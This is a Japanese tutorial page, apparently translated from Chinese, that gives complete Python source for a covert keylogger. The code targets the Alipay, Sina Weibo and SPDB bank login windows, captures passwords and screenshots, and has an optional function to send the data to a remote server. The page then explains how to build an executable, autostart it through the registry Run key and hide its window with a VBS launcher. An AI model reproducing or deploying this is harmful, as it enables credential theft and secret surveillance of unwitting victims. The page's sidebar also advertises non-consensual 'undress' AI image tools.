Python は pyHook を使用してユーザーのマウスとキーボードのイベントを監視します
この記事では、簡単なプログラムを使用してマウスとキーボードのイベントを監視し、ユーザー入力 (特定の Web サイトにログインするためのアカウント番号やパスワードなど) を取得する機能を実現します。テスト後、「ストリーキング」コンピュータはユーザーが入力したあらゆる情報を完全に取得できますが、ウイルス対策ソフトウェアがインストールされていれば十分です。具体的な実装方法は以下の通りです。
1. コード部分 : ユーザー入力情報を取得し、スクリーンショットとともに XX ディレクトリに保存します
# -*- coding: utf-8 -*- # import pythoncom import pyHook import time import socket from PIL import ImageGrab # #如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器 # def send_msg_to_server(msg): host="" port=1234 buf_size=1024 addr=(host,port) if len(msg)>0: tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) tcp_client_sock.connect(addr) info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':' tcp_client_sock.sendall(info+msg) tcp_client_sock.close() # #也可以将获取到的信息保存到本地文件下 # def write_msg_to_txt(msg): f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a') f.write(msg+'\r\n') f.close() def onMouseEvent(event): # 监听鼠标事件 global MSG if len(MSG)!=0: #send_msg_to_server(MSG) write_msg_to_txt(MSG) MSG='' pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器) pic = ImageGrab.grab() pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name) return True def onKeyboardEvent(event): #监听键盘事件 global MSG title= event.WindowName.decode('GBK') #通过网站title,判断当前网站是否是“监听目标” if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1: #Ascii: 8-Backspace , 9-Tab ,13-Enter if (127 >= event.Ascii > 31) or (event.Ascii == 8): MSG += chr(event.Ascii) if (event.Ascii == 9) or (event.Ascii == 13): #send_msg_to_remote(MSG) write_msg_to_txt(MSG) MSG = '' #屏幕抓图实现 pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time())) pic = ImageGrab.grab() #保存成为以日期命名的图片 pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name) return True if __name__ == "__main__": MSG = '' #创建hook句柄 hm = pyHook.HookManager() #监控鼠标 hm.SubscribeMouseLeftDown(onMouseEvent) hm.HookMouse() #监控键盘 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() #循环获取消息 pythoncom.PumpMessages()
2. py2exe を使用してスクリプトをパッケージ化します:
次の内容を含む新しい py ファイル setup.py を作成します:
from distutils.core import setup import py2exe setup(console=["monitor.py"]) #setup(windows=["monitor.py"])
コマンドラインで次のコマンドを実行します:
pythonsetup.pypy2exe
3. 起動時にプログラムが自動的に起動するように設定します:
ステップ①:
起動時に起動する必要があるファイル (ショートカットを作成してから) を「スタート/すべてのプログラム/スタートアップ」ディレクトリに配置します
ステップ②:
レジストリを変更します: コマンド ライン - regedit で、次のパスに移動します:
[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
新しい「文字列値」を作成して編集します: exe ファイルへのパスを設定します
D:workspacemytestpyhookdistmonitor.exe
(上記2つの方法でmonitor.exeを起動すると、コマンドボックスがポップアップして監視ログ情報が表示されます。この場合、監視対象者はすぐに知ることができます。以下の方法をお試しください。 )
ステップ③:
次の内容を含む新しい .vbs ファイルを作成します:
setwscriptObj=CreateObject("Wscript.Shell") wscriptObj.run“D:\workspace\mytest\pyhook\dist\monitor.exe",0
ダブルクリックして vbs ファイルを実行すると、monitor.exe がバックグラウンドで起動します (大きな黒いボックスは表示されません)。
次に、①と②の方法を参考に、起動時にvbsが起動するように設定してください。
補足:
1. このプログラムには、自分でインストールする必要があるモジュールが含まれています。
2. 記事内の「D:workspace....」などのパスは、独自の実際のパスに変更する必要があります。
3. このコードは単なるテスト例です。読者は違法な目的で使用しないでください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック











PHPは主に手順プログラミングですが、オブジェクト指向プログラミング(OOP)もサポートしています。 Pythonは、OOP、機能、手続き上のプログラミングなど、さまざまなパラダイムをサポートしています。 PHPはWeb開発に適しており、Pythonはデータ分析や機械学習などのさまざまなアプリケーションに適しています。

PHPはWeb開発と迅速なプロトタイピングに適しており、Pythonはデータサイエンスと機械学習に適しています。 1.PHPは、単純な構文と迅速な開発に適した動的なWeb開発に使用されます。 2。Pythonには簡潔な構文があり、複数のフィールドに適しており、強力なライブラリエコシステムがあります。

PythonコードをSublimeテキストで実行するには、最初にPythonプラグインをインストールし、次に.pyファイルを作成してコードを書き込み、Ctrl Bを押してコードを実行する必要があります。コードを実行すると、出力がコンソールに表示されます。

PHPは1994年に発信され、Rasmuslerdorfによって開発されました。もともとはウェブサイトの訪問者を追跡するために使用され、サーバー側のスクリプト言語に徐々に進化し、Web開発で広く使用されていました。 Pythonは、1980年代後半にGuidovan Rossumによって開発され、1991年に最初にリリースされました。コードの読みやすさとシンプルさを強調し、科学的コンピューティング、データ分析、その他の分野に適しています。

Pythonは、スムーズな学習曲線と簡潔な構文を備えた初心者により適しています。 JavaScriptは、急な学習曲線と柔軟な構文を備えたフロントエンド開発に適しています。 1。Python構文は直感的で、データサイエンスやバックエンド開発に適しています。 2。JavaScriptは柔軟で、フロントエンドおよびサーバー側のプログラミングで広く使用されています。

Golangは、パフォーマンスとスケーラビリティの点でPythonよりも優れています。 1)Golangのコンピレーションタイプの特性と効率的な並行性モデルにより、高い並行性シナリオでうまく機能します。 2)Pythonは解釈された言語として、ゆっくりと実行されますが、Cythonなどのツールを介してパフォーマンスを最適化できます。

Visual Studioコード(VSCODE)でコードを作成するのはシンプルで使いやすいです。 VSCODEをインストールし、プロジェクトの作成、言語の選択、ファイルの作成、コードの書き込み、保存して実行します。 VSCODEの利点には、クロスプラットフォーム、フリーおよびオープンソース、強力な機能、リッチエクステンション、軽量で高速が含まれます。

メモ帳でPythonコードを実行するには、Python実行可能ファイルとNPPEXECプラグインをインストールする必要があります。 Pythonをインストールしてパスを追加した後、nppexecプラグインでコマンド「python」とパラメーター "{current_directory} {file_name}"を構成して、メモ帳のショートカットキー「F6」を介してPythonコードを実行します。
